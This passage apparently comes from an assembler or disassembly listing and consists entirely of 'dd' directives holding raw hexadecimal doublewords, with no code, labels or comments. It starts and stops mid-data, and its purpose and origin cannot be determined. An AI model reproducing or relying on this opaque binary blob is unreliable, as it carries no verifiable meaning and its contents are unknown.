385D06B6h, 308268C2h, 0EE904143h, 64721059h, 0D83F38B0h dd 0E6148FE0h, 0C440603Dh, 2A7290h, 42A75A5Dh, 165396BAh dd 99588C00h, 0E0F2A095h, 92F489h, 80FC2431h, 3049E70Bh dd 0F9CC4C00h, 5902DD3Dh, 0D87501C6h, 9B3E9040h, 0EB8DD8E5h dd 942EC01Fh, 0ABA64480h, 1D57C8A7h, 0C063A91Eh, 52DA2D6Dh dd 18F89C9Eh, 8FCA5500h, 0A3E56FF0h, 98FE3DB5h, 1600A4BCh dd 76424903h, 5200AA6Bh, 38D53ACAh, 66F11B01h, 8471151h dd 0FD645B01h, 0F55CCD3h, 0EF10D4h, 915AB5ADh, 12CBE84h dd 973BF63Dh, 35ABh, 0EB1F2EF2h, 2D02007Fh, 7476E654h dd 0AB00D5BEh, 2E62488Dh, 0BDF846h, 9632D7DBh, 9BFF70C7h dd 0A6298100h, 72FE163Bh, 193A001Bh, 0ECF6BFBAh, 8300F4A1h dd 3F265D7Dh, 1177A4Ch, 0E8099508h, 20E429AEh, 340EE6C4h dd 20F2DF74h, 8430461Ch, 955F07C3h, 30D6B5FCh, 13B6ED2Fh dd 0D7B96000h, 41070BDh, 0F8E1F55h, 0A0847BD1h, 84E2EFECh dd 7126C15Eh, 6321207Ch, 0CE00227Fh, 0C7B1D353h, 0E47541h dd 8AA3C191h, 13905C68h, 931D0C02h, 604D0EC4h, 0F88B818h dd 0A6E36286h, 0D4A0E08Fh, 988E4152h, 8DF64200h, 479DAD40h dd 1BFE3EFDh, 37625380h, 689C93F8h, 4A723B00h, 8A7D44C7h dd 1B8D0079h, 69F36188h, 0C400D213h, 0D154469Dh, 1C5558ECh dd 402E2DF4h, 0B435A928h, 800862Fh, 0C6D81AE8h, 1EA1395Eh dd 40AEF351h, 0D813CA2h, 331D57D3h, 3FCA380h, 0A201685h dd 9820A593h, 98A676h, 536F7151h, 270C4A15h, 85DA8007h dd 0C8306B0Dh, 1B893E5h, 7BFD2BBBh, 605D6235h, 7C4CCBA8h dd 0EA790036h, 28801140h, 222300CDh, 68C96A0Bh, 0C8009E7Fh dd 0FDF8A639h, 799FA6Fh, 9D18D303h, 5EC500DCh, 0E2E6D7D1h dd 2E11F200h, 0A35D2C25h, 48011BD6h, 900101Ah, 0CB6CFB52h dd 923984h, 4EC02E85h, 0E6DC22B5h, 80E2933Eh, 54FB86F2h dd 7BAFCB79h, 0BBD80088h, 1006A724h, 1900E9ADh, 0FF4929CFh dd 0E05A621h, 0CC340A99h, 0B0D085C7h, 0D2D527DFh, 0EE001AE6h dd 5C8E5640h, 141EFCAFh, 0F867A870h, 0C37C431Eh, 0E2391B2Ch dd 0E6B5D2A8h, 3FFF648h, 67B0788Ah, 7D50E789h, 4825E338h dd 0E000081Fh, 0E75DCDE1h, 0CE0082F6h, 0DE7313D4h, 0D1A942h dd 0FF970423h, 0B730F4A3h, 0D70AA8B8h, 0F0C3F7B4h, 6C954300h dd 71713286h, 0A0DF008Fh, 0C2EE2B37h, 660F4DA5h, 60AB1522h dd 0E0D6E31Eh, 3ABB0F27h, 0C207938h, 6A76F3D5h, 41665A00h dd 0C01613E8h, 14447D94h, 8C28F7F5h, 8505DA07h, 0D4FC7060h dd 530054C8h, 2278A7CAh, 478FB9h, 0C0D51F8Eh, 0FD8C1C66h dd 771458h, 0E30574DCh, 5DF65Ch, 1E6CBAF2h, 0E6A39E75h dd 79F13Fh, 7F2CD74Fh, 5024687h, 14EE73B5h, 0A0D4C728h dd 0C85B6486h, 0D793FA00h, 0D4D555CEh, 0A9910248h, 28EE5DE7h dd 2E9A5060h, 0E8D71800h, 4AD0D874h, 22FB0079h, 309C971Fh dd 3F00F1ECh, 0A1D6863Bh, 0FAD0D2h, 77C52388h, 1992054Dh dd 9ABB9E00h, 0EE832902h, 51FD00BDh, 5FEAFD4h, 1F0071A5h dd 0BC22B6E8h, 12536Ch, 79077EC1h, 4CB5042Bh, 3334DF01h dd 0BC715EBEh, 122870h, 4B3A27E8h, 0C6B11993h, 102B0C37h dd 71C02AE7h, 0FE7DBCD9h, 0D752011Ch, 99649B6Ah, 6172CC4Eh dd 318FE4A0h, 1C271000h, 0F068AFCCh, 96EED3h, 18192C1h dd 2B459D7Ch, 36591D00h, 472DA5CCh, 0C9F097B2h, 0F0E71014h dd 0CD0075FCh, 0CF35617Ch, 605D537Eh, 0FCE518EDh, 780284E9h dd 0B279471Fh, 412440D7h, 9C7C3E13h, 499AC900h, 87E5CB35h dd 0A424E0E2h, 0FA00E24Dh, 98B30AEh, 615324E1h, 58A70084h dd 77D2BBFCh, 409C9800h, 631EDAD6h, 0B18A0F19h, 2A005517h dd 0D86C314Ch, 51343324h, 0AE1F2D0Eh, 44A1C003h, 0D50BBEh dd 5752A098h, 0EC5D1A9Bh, 0B3C17A24h, 6D29D200h, 1ED814A3h dd 9CC530A5h, 0BC21019Bh, 61314007h, 456CEC0Ch, 92A25603h dd 0C1525961h, 0C8DCD35Bh, 0AB0D00E0h, 8EED7766h, 0A413A2EEh dd 3F008108h, 9F211E1Dh, 4A6D0337h, 6747387Eh, 402BCE80h dd 0BFB90107h, 77034CFh, 7AAE3F71h, 2176004Eh, 0CC56601Ch dd 0E00C0A2h, 5491530Dh, 7C4EBF4h, 0BC482746h, 4F37BAh dd 1C60DDBh, 68E63C00h, 9423C09Ch, 0E7534h, 97A83D85h dd 0AF9E384Bh, 500087F6h, 4186CF24h, 0F2C302BDh, 1C1008Bh dd 0BBB229DFh, 9E0EA8CCh, 0E0246BF3h, 0F2C293C0h, 0AB4E02F1h dd 640F31C3h, 0E49FD082h, 33809080h, 667DFAA9h, 6D000177h dd 0F532527Bh, 7A89Fh, 0CB999750h, 0BC1B7CE9h, 0B61F1F76h dd 1905564Dh, 9B80A016h, 0FD1A78h, 0D03C022Ch, 0A4F85431h dd 7D9AA00h, 0FE552A25h, 27480434h, 80B506D6h, 0DD691CD8h dd 7E705058h, 5368D302h, 836455EBh, 0F88487CCh, 7D0B9DE6h dd 90AB7886h, 0AC700FD8h, 0C3C22A3Bh, 88C03CF5h, 0B163BFF4h dd 15140Ah, 4CFFC9C4h, 0DB4E237Ch, 2FAB770Fh, 66FBE044h dd 1F0C0843h, 83672778h, 4E8D105Bh, 28D5C2A0h, 0D3483809h dd 9101007Ch, 95B513h, 6FEC9FEEh, 905978E9h, 0C5CDE519h dd 881CB10h, 0AE83B977h, 9376E8B8h, 0CDEE8A61h, 8640D2EEh dd 0CB8DC6h, 5396CF6Eh, 3A48B017h, 16BE4216h, 0B7BF4000h dd 3F839FDh, 0D534831Fh, 0D998291Ch, 0BA5C9273h, 0CBE00C6h dd 0DA797ED7h, 0E5FE6Ah, 21703AD5h, 0FA7B467Ch, 6E85A100h dd 0F8AE0F0Bh, 0B27F4Ah, 0D4B61A38h, 0B7F95460h, 6DF40C12h dd 1370009h, 0D7FFD3A1h, 0CC28DCh, 0F1556AA0h, 766B8EC0h dd 80F05807h, 8C7F83Eh, 0CDE7AEB0h, 0F09903Fh, 0E521F607h dd 0A55BE3A0h, 0C40120FEh, 0D02B88CBh, 0F1D0DC84h, 71FB00CDh dd 6E8E1A04h, 960007E4h dd 2C686634h, 70595F3h, 4A3C53FFh, 67AB9059h, 74032712h dd 0B0C009D5h, 0F0E5B3CEh, 7FF55C77h, 2326007Eh, 3BCFCDCBh dd 0E2798443h, 2138F900h, 743AD4C0h, 0A5040766h, 258619B9h dd 0B044C0B7h, 8C77F0Ah, 0E0CF2B08h, 5BBDAEB3h, 0A6420350h dd 0A2FB2F8Ah, 153763B8h, 5E6C702h, 0C0B78377h, 0D2A0FEh dd 3133C072h, 1442613Bh, 4015C900h, 2DBF79DFh, 0C098E6h dd 2F82F7B1h, 8D4DEB6Ah, 0D3002190h, 71087511h, 0F76268h dd 6F4F046Bh, 76971D25h, 0DA813105h, 55802E61h, 0EF5FDFh dd 0BF42F032h, 0E95BC5EEh, 35395300h, 0D166C8ADh, 1F59E20Eh dd 41E08843h, 0DB7C8489h, 0F668D8BBh, 0E6561F18h, 0F6C115C0h dd 55580766h, 0C0F4B33Eh, 0FC605D72h, 0E5BE6900h, 9751B44Ah dd 89620004h, 0A3F027Ah, 730020A2h, 96B87048h, 1F8D574Eh dd 4F45BEh, 0A82C76B3h, 3E02619Bh, 5339142Dh, 0EE9580C3h dd 0ED29650h, 6A7EC0CDh, 2A477000h, 0EB00E162h, 0A1A05EE0h dd 0C89913h, 0B24553C1h, 0CF9330E7h, 0A007EECh, 6DD8BC19h dd 0EBB460h, 0D39FF980h, 0A5E84EDCh, 0C3F05400h, 0BD5DD2F7h dd 840A0090h, 0BFFF4826h, 0C200E61Fh, 0D653D56Dh, 0A8F1F3h dd 0BBAF525Bh, 0FA2C10B9h, 2A0E050Fh, 814A4006h, 6621BEFh dd 0A45FB536h, 7D01E0BDh, 8B217AAh, 0A3E03A8Ah, 79EA017Bh dd 41F2C07Fh, 3298F760h, 92005109h, 0EDD6379Dh, 26ECCF23h dd 0CCBE07h, 0CA1F5E4Ch, 0E6E260C5h, 82017F00h, 0F5E5B5D8h dd 6F3600EAh, 595055B3h, 0B900748Ch, 0B7DABB0Bh, 188825h dd 786027Ch, 0A145E272h, 340B3698h, 82BB783Ah, 0C09FB6FDh dd 5717F88h, 0FAD13B75h, 0C5080D2h, 0A4FA3D9Bh, 30D420C7h dd 4080BA84h, 0AE8BEBh, 5A82BF2Dh, 0BD1CC753h, 0FAB96400h dd 0C2D9EA4Ah, 0A4840B48h, 3A8046F8h, 0FF10A780h, 0D832C07h dd 0DDA0A639h, 57EE9Ah, 0DE41110Eh, 1B0AE0ACh, 1D12B03h dd 90FE7743h, 58FA73h, 42786762h, 56AE0C89h, 46597F00h dd 0C82E1F45h, 0A7050E6Dh, 77E385D6h, 0BEC8A8DBh, 8003BFBh dd 0EA9086BFh, 7BF15DFAh, 0C51B893h, 0F68910DAh, 5A03AE11h dd 737D11E5h, 133073BEh, 31BDBCDh, 473D8DFAh, 897B2A0h dd 0B904762Eh, 0F749B600h, 3EB3F157h, 0FB018789h, 1E0EF890h dd 7450C039h, 4613701Dh, 2D6DA540h, 74BE995Ch, 29B900B2h dd 0CE2D6B5h, 20DF4245h, 0DAF87B40h, 0EA69FBB3h, 2A393D58h dd 0BFDB7280h, 3CFAA8D6h, 3DD9FFE7h, 0B1A88183h, 90EA6CCEh dd 0D0403FE1h, 33AA97h, 0F348A7EBh, 3925ABE9h, 3200677Dh dd 0E5A27430h, 6078D4h, 5FC770A7h, 0DBF31CF4h, 7DD9FF00h dd 737A05BAh, 0B09700D3h, 19ED8CA0h, 8A07C523h, 0E1EB7157h dd 0C9599270h, 0F14516DAh, 0D500FFB0h, 0A9DC7230h, 8F9F0279h dd 8C80711Ah, 49933660h, 12575E00h, 43FDA0ACh, 25323A65h dd 0A3389D80h, 333DE41Ah, 0C2B64600h, 7F918BC8h, 7EE034h dd 0AC3EC304h, 9E2C95D2h, 728A7D00h, 53893730h, 0D8410052h dd 583DB754h, 0AD01888Bh, 12D14E1Fh, 0FB202F95h, 8F3E28B6h dd 0D86C0298h, 93621F3Fh, 3BFDA0A0h, 700CF27Fh, 0FECFC77Dh dd 3646006Dh, 34A0D5BFh, 78017B89h, 713AF690h, 0DFECA163h dd 32CE281h, 5867829Ah, 72F87719h, 0E43EE5C7h, 0CE1E80C1h dd 4F637DF1h, 387749h, 0E71182F6h, 9939EF1Ah, 9514C91Ch dd 65922C00h, 6147D6h, 0C6949770h, 165FCC63h, 7925BAF6h dd 0E3D3E3F7h, 8FE9E873h, 2C9A2460h, 0C92806Ch, 165BDFFAh dd 0BCE86818h, 4849E718h, 0E06E105h, 0F09CA1A6h, 41382D00h dd 241C021Eh, 968A6029h, 378C7657h, 0F973BA0Ah, 1A842C6Dh dd 1C0E5F42h, 0D184BE48h, 1D020D65h, 992082F4h, 101E2944h dd 8089D524h, 74670A1Ch, 7EB943F9h, 1045A020h, 84BCF850h dd 0F9020E28h, 0E1216DA7h, 0B0880804h, 0D4459291h, 0A5F98842h dd 5A2C829Bh, 8484A289h, 6D588764h, 0B514D04Fh, 44762C5Ah dd 9042DDF2h, 0B605B408h, 0E8B1711Bh, 0A862F75Ch, 9A5680h dd 0A4CE19C1h, 0D0C08C1Eh, 0BE8D3939h, 0F5DB0081h, 0BF66165Ah dd 4F932887h, 0D2D60194h, 99FF629Ch, 19808057h, 9648BC04h dd 0C52802BBh, 0DE931373h, 5833440h, 6301D771h, 7027F22Eh dd 0D020AD0Bh, 196A58D2h, 771DA840h, 0C6FB1CA1h, 8F5E805Fh dd 9E654DF6h, 85076C92h, 0C4FC16EDh, 0CD310F60h, 0E98A30E0h dd 0B51B0760h, 0A4154700h, 7FE4DB4Eh, 8E43181Eh, 933E2039h dd 2ACFBB00h, 0AF7D2772h, 0FF57FD0h, 82C34E5Bh, 2CCAD5A0h dd 0A465EA07h, 0FC0D3D0h, 0ED9C85Eh, 15849EDBh, 87C38C60h dd 1E1CEB48h, 0FF002066h, 6FAF96BAh, 1C441FB9h, 81F9C0DCh dd 3612A52h, 12841E00h, 489E322h, 15F756Fh, 580A1F6Ah dd 70671773h, 97078FA8h, 5FE468CDh, 3E7635C7h, 0E49954E0h dd 0ACFA07h, 289546BFh, 5171D04Ch, 0D78B11C0h, 0E0B5323h dd 76079ACAh, 0D3018140h, 5F00DBB1h, 836D80BAh, 46A9B5h dd 9EB21EADh, 0F594224Ah, 80B3C73Bh, 5DE0037Eh, 105E82Eh dd 934ADFBFh, 0C8AFC6EEh, 43E8DCD0h, 67745200h, 0D9E540Fh dd 78650086h, 61EFB826h, 6A0F7B60h, 28D6B2h, 55A23B04h dd 9F0A00F9h, 690C4C4Fh, 66622054h, 7DBA628h, 0DD0700FAh dd 0D158EC1Fh, 544C009Fh, 49E5AF73h, 0E8400E6h, 45B0078Dh dd 0C53AC9D4h, 5E870015h, 0D73FEB76h, 96170091h, 1A6E7B64h dd 0B9002A80h, 0F654408Dh, 9D7686h, 0A821FC0Ch, 48AD9A33h dd 421D2F75h, 4F45CC4Ch, 2EC00E65h, 5EBE45h, 3B6C8656h dd 46A8DF5Bh, 0B7950100h, 0BEE023BAh, 52F40021h, 0EC4B2938h dd 477724B5h, 6F0D4E00h, 0B3D58B06h, 5B41006Dh, 4543D332h dd 7D075908h, 19138D17h, 0E4970760h, 967001B0h, 3E8101AAh dd 52572098h, 0D9D6EE00h, 0BAA06DE5h, 266007Dh, 444948C9h dd 6B0F3803h, 0E00E5D0Dh, 36E9176Dh, 0CB8008Ah, 0D2EFAED5h dd 0AA00FC25h, 0CFD15137h, 741495h, 0DCC9469h, 0AA7A898h dd 0EA81BB00h, 0F7C41627h, 2B2900BDh, 0B4631E14h, 0F01E3E4Ah dd 62808584h, 0A9ABEDACh, 0FC32508Ah, 0A1F40027h, 8066D6D0h dd 6C05B72Dh, 10EFEB8h, 88B080Ch, 8DE300BAh, 4E28352Fh dd 4A009112h, 0EC79BD5Bh, 3B7AEA17h, 6B3E301Ah, 0CA35C980h dd 2B064628h, 56F86300h, 7407F5C0h, 480CE45Ah, 52075FE6h dd 0C4105894h, 0F080AB2Dh, 156160Ah, 7F31AEDDh, 0C08AE5DEh dd 3E01D976h, 8F5393F5h, 94CC5C64h, 30050022h, 0BA12979h dd 57003C56h, 40880746h, 5A1AD0h, 0C0AEF1FEh, 7BC80127h dd 7FED7000h, 49ADA95Ch, 0E0180098h, 201B3E12h, 0EE00729Fh dd 75D8D60Ah, 6EF827h, 4EDDEAFFh, 0B968509Bh, 3483AA0Ch dd 7C04110Ch, 99DE0098h, 86CC5719h, 7703ABC5h, 7A6482C2h dd 0B7F80756h, 303480FAh, 0CDF758FCh, 0DBD31400h, 0E8715072h dd 70F48Ah, 0BB6455ECh, 28433157h, 0BD00E3E0h, 9B967614h dd 34C85h, 7710876Ah, 0AEE071D2h, 0EA6B932Eh, 0B7A00Eh dd 0FD58DE11h, 0EA0A001Bh, 0FC54E3C9h, 874C8AACh, 0E444004Fh dd 0C029E667h, 1A701F34h, 339F001Ch, 40CBDADEh, 1FE3B607h dd 0AF59980Ch, 4A2F600Ch, 99E4A0h, 1B207C81h, 33F8B4C1h dd 3C6E10Fh, 560052CCh, 5A8C0E3Dh, 127EB8h, 0F860C2C3h dd 16F6456Dh, 312F4600h, 0FD26FA54h, 0B49C006Ah, 0D6150EC9h dd 35002B64h, 39AE44F2h dd 0C0DBA4h, 96F7E326h, 8B049273h, 3067EBF0h, 78A7AE11h dd 27F14110h, 0DDAF0C34h, 68AAF5C7h, 9C5C3B07h, 6900A6E9h dd 55FCCAh, 2225828Eh, 299FB165h, 7E708C27h, 0A7560045h dd 6883A4E1h, 0ED24791Dh, 739B1240h, 0CF2E47h, 5B7B7177h dd 22A7B57Ch, 0C6A8400h, 0FDE4911h, 0CA5F005Ah, 6D410EADh dd 0B500FC26h, 7CDD5406h, 0CD8F39h, 0C54FFB96h, 4C37528Dh dd 7DA24A00h, 68B27333h, 0C083005Dh, 34B3D71Fh, 92017E88h dd 69DD0BE9h, 73300C66h, 0E8780094h, 1C2F3DF1h, 0D00B2FAh dd 7D4A5C52h, 7A8D6A3h, 0E08FC7B5h, 621DD0EAh, 5D01305Bh dd 0F6FEBDA6h, 46E8ABF1h, 4B9701E5h, 2DEAF42Ah, 8A9BCC76h dd 3ABA1000h, 2F6FFA78h, 92D600F6h, 934879D1h, 81040DA3h dd 0EB61767Eh, 0E9CDD781h, 7D08BFh, 0FA436511h, 0C03D46F7h dd 69F93B00h, 0D27EC2DDh, 6C9A0019h, 7699AD27h, 0F714C3E8h dd 788D363h, 0DC262DAh, 0F08883D3h, 727711A7h, 867E9Fh dd 3A2818B5h, 5D449A10h, 370CAA00h, 724C5F1Fh, 47970064h dd 83F880DCh, 0A76E782h, 698330Eh, 0F2C2C0F4h, 0E3DB854h dd 23BF0EAEh, 0D56B61A0h, 3400FFD6h, 984B9E39h, 0B365B22h dd 3C25936Ah, 88CD6200h, 2E00028Ch, 54BDEFB6h, 17649Dh dd 0F5AF58F1h, 4F23C428h, 4AAB7B07h, 0B0E0E68Bh, 1226EB4Dh dd 0EC58B7h, 513B86BEh, 7F03149Ah, 0EF2F086Ah, 91B38881h dd 0C41A4C02h, 5E4F2875h, 1DEF2DEh, 0CAA5F2E1h, 7008343Eh dd 5A00B65Bh, 0F6A0ECDCh, 9856D557h, 77D70EA6h, 4B605D21h dd 181B0452h, 0B53B371Ch, 28A863CCh, 750C1E62h, 0E744C0E6h dd 0A0B44AD6h, 5D1F24F8h, 5501AAB2h, 0DAB81CEDh, 3D9960h dd 0DDDE6616h, 45774498h, 497A26F8h, 0A37A5800h, 0A12F2C81h dd 319600DCh, 0B49A6414h, 410E13D0h, 7432E8h, 44A7379Eh dd 0F6B500A3h, 7AD1550Ah, 0B6002C43h, 8DC7F13Ch, 0FF7C50h dd 0E3B0CBAFh, 0F38E4018h, 5CB18900h, 81C14264h, 7E39860h dd 8A0D121Fh, 0BAC03F2Fh, 8D6C1737h, 2C00FCE2h, 69A98E13h dd 0B0858Fh, 57AEDF1Eh, 0F84245A7h, 1D075E01h, 21F4E39Fh dd 7C1915C4h, 2010014Fh, 0EA028D8Ch, 0D1B0C1D6h, 16D6405Ah dd 0F0047CB6h, 0ACB831E0h, 330E486h, 60F78CC1h, 0BC00D9Fh dd 2FF03545h, 3F648D03h, 0C0C18328h, 78904CB4h, 9DF800A4h dd 53FE0331h, 0A3FEBE8Ah, 46720600h, 0B96CEB0Bh, 9CAA50C8h dd 0ACB5078Eh, 50AE24D5h, 3158119Ch, 2DCCCD15h, 0CF1706ACh dd 0E1A44C1h, 53E6F45h, 3D847840h, 0BD0012DEh, 1F8E94Ah dd 3C2A1962h, 968761BAh, 30565FC3h, 0D31E43Ah, 8FB05E00h dd 0E748255Dh, 71A51E24h, 0A095006Fh, 0D38A7383h, 0C8C34700h dd 0AACD354Dh, 757FA6h, 8785ADBFh, 897822DAh, 0C685203h dd 8AFBDBh, 0B5B68420h, 0F1D37D1h, 0D0009471h, 5C3387F8h dd 3884F8Eh, 0DF97269Eh, 178955A7h, 0C081EC28h, 99362202h dd 27232993h, 3C3B30CAh, 0ABE6DA8Dh, 0F5210A00h, 9DECEFF6h dd 43DC0027h, 0C340202Fh, 0BA0329AFh, 685C3E8Ch, 7E400042h dd 0ED975ACEh, 0C70116C3h, 8C705579h, 0B3EF7A6Ch, 756938EAh dd 0BC000F3h, 315C342Bh, 1F0F129Dh, 40CD2A08h, 258F6DC1h dd 2788A9F3h, 0B5025F18h, 992DE6Eh, 0A7E610DBh, 87A6D883h dd 61ECD6h, 9EFA1632h, 0B661EEAh, 9865B00h, 0E9674FB5h dd 27D400CEh, 0FA253CBCh, 0F3EA952Ch, 51140103h, 8FC15C60h dd 0B8E7D1D0h, 0C7500139h, 0D83C73ADh, 4D6070CFh, 46079900h dd 0DAF798B6h, 82B3006Dh, 17E81F7Ah, 0A4004E90h, 54509AFFh dd 14C067h, 5FAA7C31h, 444F1EAh, 0D70E5A00h, 0F59B84C4h dd 63550730h, 807A71DFh, 0A13AC99Eh, 80DAF800h, 0B8D83ECh dd 0BA4B00DEh, 0E1072E45h, 0A900F575h, 7C5DADE6h, 90395A2h dd 0E352AB6Bh, 0FA791800h, 1F0018A6h, 3A8FBF77h, 0FD0160h dd 5774292Ah, 0D751C3E4h, 8812AD2Eh, 0FE137124h, 10707000h dd 3545566h, 7B8CC06Ah, 5CA09EDEh, 0A618DD76h, 9679ABEFh dd 0DBCF0AD6h, 0BDCE10h, 2D8E5773h, 28009F6Bh, 0EBFECBF5h dd 34E765Dh, 9542AF5Fh, 0A3B00E4Ch, 0D905A269h, 94D7C756h dd 0CC650C00h, 0F85B04C8h, 0BEA93E2Bh, 0ACBF9B03h, 10B88051h dd 1200C1DAh, 7398170Fh, 0DC6F66h, 4790012Ch, 5568EFF5h dd 0FDC86A61h, 94D807BEh, 0E4EC3018h, 3739FF88h, 0F97A9018h dd 23A6310h, 0DAE0B00Ah, 0E5E036D5h, 0B7F1172h, 5EF48E1Ch dd 0FB098Fh, 0C59DFC5Ah, 0CED300ADh, 0DB2B5F56h, 0F2010334h dd 92301372h, 36D0E8AAh, 0D3271F6Bh, 0E05F80DEh, 7110A1CBh dd 1E616401h, 262A5E1Dh, 98A233E0h, 1660004Ch, 47B45501h dd 4503C84Eh, 0DED6CDFBh, 0E1C3D032h, 0B3712Eh, 1885A364h dd 0CEA72246h, 0FFD73F00h, 0A458C5B2h, 1864FEA8h, 58342183h dd 5DB8477Ah, 8DEBAA06h, 0F670D932h, 45D79E6h, 0F60576DFh dd 29FAC05Fh, 9307FC41h, 0DD73F78Fh, 5C989750h, 5A5F2E02h dd 6BA4012Ch, 70657140h, 1C007A2Dh, 0C34C15E5h, 3B4E686h dd 4631FAEEh, 91AFBC1Eh, 435B18C8h, 688E2280h, 6B8A5A1Eh dd 1D0563C0h, 0BC42A3h, 0FA547471h, 565E192Eh, 9D59DF00h dd 93A0A2E9h, 0CDF614FBh, 4004ED85h, 8389C1F4h, 2EE05EE1h dd 111EFCE2h, 94812321h, 4A4561E8h, 0E380F0F3h, 97EC0076h dd 0DBF3D8A4h, 3F006C04h, 0F84142Bh, 5771C3h, 41EDD677h dd 9095583Eh, 0FF689800h, 3FFA1FB5h, 475D0716h, 0EC189F8h dd 0DE33F580h, 2186C01h, 1150388Eh, 0A78C00E5h, 0E49CF83Ch dd 51006D82h, 16A1345Ch, 0C03A62D1h, 0EED03D28h, 393CCE11h dd 0F1AC00E6h, 685E5D05h, 701D608Ch, 0C3608BF6h, 0EA7D1E09h dd 0EC918FAAh, 0B2D183Ch, 77076595h, 197C0CF5h, 0E93700F3h dd 0A887F22Bh, 5660F1E6h, 46FEA060h, 0B47C00EEh, 37D3F691h dd 0A3BB01Ch, 383C0158h, 6DD1316h, 82FAD4h, 1BA623B5h dd 0EC7F077Dh, 8F08EF02h, 0E0A84BD0h, 904D22h, 9C5B64A7h dd 7FBCEC99h, 93A6B507h, 0C380926Fh, 0F8205191h, 6183003Fh dd 42B4E05Bh, 0CD00B108h, 37E6A1Dh, 0E4C8D9Fh, 432A27D9h dd 940569C0h, 0E70564CEh, 0B928A541h, 3EE42039h, 8C4275h dd 0C898C30Bh, 1FDDEA7Ah, 981FD590h, 39D230EEh, 3C8DD903h dd 0B0786E16h, 0CA5775h, 2B14221Dh, 44C8E17h, 3790C206h dd 0C8F180h, 71210C77h, 0E80964BAh, 220053F0h, 0D8B1C5AEh dd 4F18BEE9h, 0A2EDA08Ah, 0A466D400h, 1FCDB008h, 4B0A0335h dd 72718417h, 0B587CFD0h, 0B34028DCh, 0E9134D95h, 81A12A0Ah dd 0E65678A4h, 0BE6F008Ch, 0E3856A17h, 880C90DCh, 583466B6h dd 6E9201B1h, 0E52099E1h, 807871CCh, 0B2B17B8h, 29632AEh dd 30CF4834h, 80B01CF9h, 1011740Ah, 0F8B0E83Fh, 76336954h dd 0D0A4F05Eh, 77C03407h, 23282880h, 0B96F00ACh, 0CB5FCD97h dd 9A003C32h, 78AE54B3h, 53F1BAh, 5B6008A8h, 747A7DE9h dd 64BDEF17h, 95669507h, 0CA772420h, 80DD50ACh, 0BD5420B5h dd 0B4C1FD07h, 20BA48C2h, 4353DD58h, 59305068h, 3E00E4F8h dd 0E8709A04h, 28D230CBh, 7FA4CE80h, 72E218h, 0ADC68E50h dd 14ED9507h, 471A1615h, 3C400C8h, 0BFAC8A64h, 5CF40284h dd 78219689h, 12FC48C0h, 0D4304Ch, 0BC4CB59Fh, 0F4EEDh dd 0C03AD72Ch, 0BFA68FAAh, 8B5CD500h, 0A23F585Fh, 7A0700BAh dd 0BB49AD3Eh, 0C403647Fh dd 235AE8DFh, 0A05DF9C1h, 8171F7h, 6663DD30h, 0D81A0D12h dd 0C80DB54h, 987BD016h, 0AF85D40Fh, 2C8860FCh, 4061E71h dd 0CCB4A801h, 3E4090FAh, 0B70775D3h, 0B3A51693h, 0AADBE6B0h dd 0D4950F70h, 60C08863h, 5B091812h, 6A5D9300h, 3C1F1496h dd 95FC1C53h, 70F98A3Ah, 0AEE1009Ch, 0BFFD864Bh, 13FA4E03h dd 0A09CABBAh, 0B818A934h, 65F33057h, 0DA405A8h, 7A4E5C00h dd 929AA398h, 0D97271h, 34D354CCh, 0EA1248FEh, 31747500h dd 234C5E6Fh, 82AB0F64h, 6860BE3Fh, 0CB9BD765h, 859CDE00h dd 0F9AD23AAh, 0D8C20F18h, 71A1EB1Ch, 0CB709042h, 6F8130D8h dd 160C9A00h, 9496198Bh, 0B7630045h, 9EBA8ED2h, 8C000426h dd 64F96C4Dh, 78034ADBh, 83230212h, 0F5B7703Fh, 4255C077h dd 3A0700FFh, 3339326Ah, 61D832Ah, 0CB00B569h, 0EB4E24B7h dd 987D0082h, 2E7CEAE1h, 5200C572h, 2A543665h, 0EBD508h dd 87D9B230h, 0C363C6A0h, 8455FF01h, 72B92DA8h, 0E395B60h dd 0A72450A3h, 60ADC0DCh, 12D0163Eh, 0B0EAD3F4h, 65E338h dd 0F2C5BBC6h, 5B53671h, 46382D53h, 338C2067h, 40C1DC82h dd 0FB56BF52h, 73171ECh, 0BE279F7Ch, 48051049h, 0FD2A2EC4h dd 3700B808h, 4717FBC7h, 4BCA6Ah, 0E352DB53h, 2534CB86h dd 5E116D18h, 6A6060h, 0FDE006C7h, 0D59D5045h, 33A91600h dd 34932997h, 4070F9CDh, 4101951Ch, 0E4013879h, 2F009C06h dd 0F3CCF49Eh, 760DC6h, 0AA882CCDh, 29A98BB4h, 0AF850600h dd 26FDFB1Ch, 0BFEC00ABh, 46B4D405h, 4937C7E0h, 1580EA85h dd 0BBCF0Ch, 4724FF31h, 0B58B58DBh, 2B73F003h, 0F8A0AA8Eh dd 1054145h, 0C066315Bh, 805774EEh, 0BA2E9B11h, 3A5A848h dd 0FD10DE55h, 70900724h, 0EF1554D4h, 720D81Eh, 218F0C13h dd 1845A775h, 1436EC27h, 60A22358h, 80DBC78Eh, 8E4F14ACh dd 0AEBEE8ABh, 52E5FC30h, 0E71C1CAAh, 340F3DE4h, 4CD57056h dd 21DA70D8h, 7E87038Eh, 6D14AA35h, 0C5383842h, 68373B3Fh dd 0BBA24261h, 8395E81Dh, 47748Ch, 99F4ABF3h, 0C3E3B85Eh dd 0FF889CADh, 9A67E320h, 0BEF4D815h, 385B268h, 30150C07h dd 0C230F574h, 90ACA05Fh, 43812718h, 5FEC8037h, 0A883C0B0h dd 577385CCh, 540444D4h, 7030F63Dh, 16B3E7h, 322194AAh dd 34F654ACh, 1D1B0A0h, 7031B4A7h, 244D28C0h, 488EF931h dd 0AD252F4h, 6D44168h, 11035394h, 90C4C48Eh, 0A770330Eh dd 0C901AE2h, 808AB730h, 7FAC2DB5h, 1498DDD4h, 630FD0E5h dd 50746D44h, 1C21E0B1h, 0A734F647h, 468832A0h, 42671914h dd 8D9EB86Eh, 40DD74D0h, 0CB71C9C8h, 0CD0F7AE8h, 0A9C8A4Ah dd 98983EB4h, 73F428BFh, 8C055492h, 0E6A3B85Fh, 5822A47Ch dd 0EA13DBA2h, 7210033Fh, 47AAABF4h, 0DC948082h, 0C6155407h dd 3EE68808h, 3608B32h, 0A629F89Ch, 10BC3027h, 0E16A40EFh dd 96E037E0h, 6AF8B071h, 0B0ECCC91h, 0ACCE2388h, 8E0DC70Ch dd 0ED330534h, 73E794ABh, 0EBD13E44h, 2E70CA9h, 0F58B561Dh dd 7067AB5Dh, 0F6027037h, 298730ADh, 91D1D097h, 93F55088h dd 1A956200h, 36072250h, 0C06891BCh, 0F99EFA65h, 22575A00h dd 0A8927027h, 14ACF5h, 0F48FC0A4h, 0C7224D98h, 600442BDh 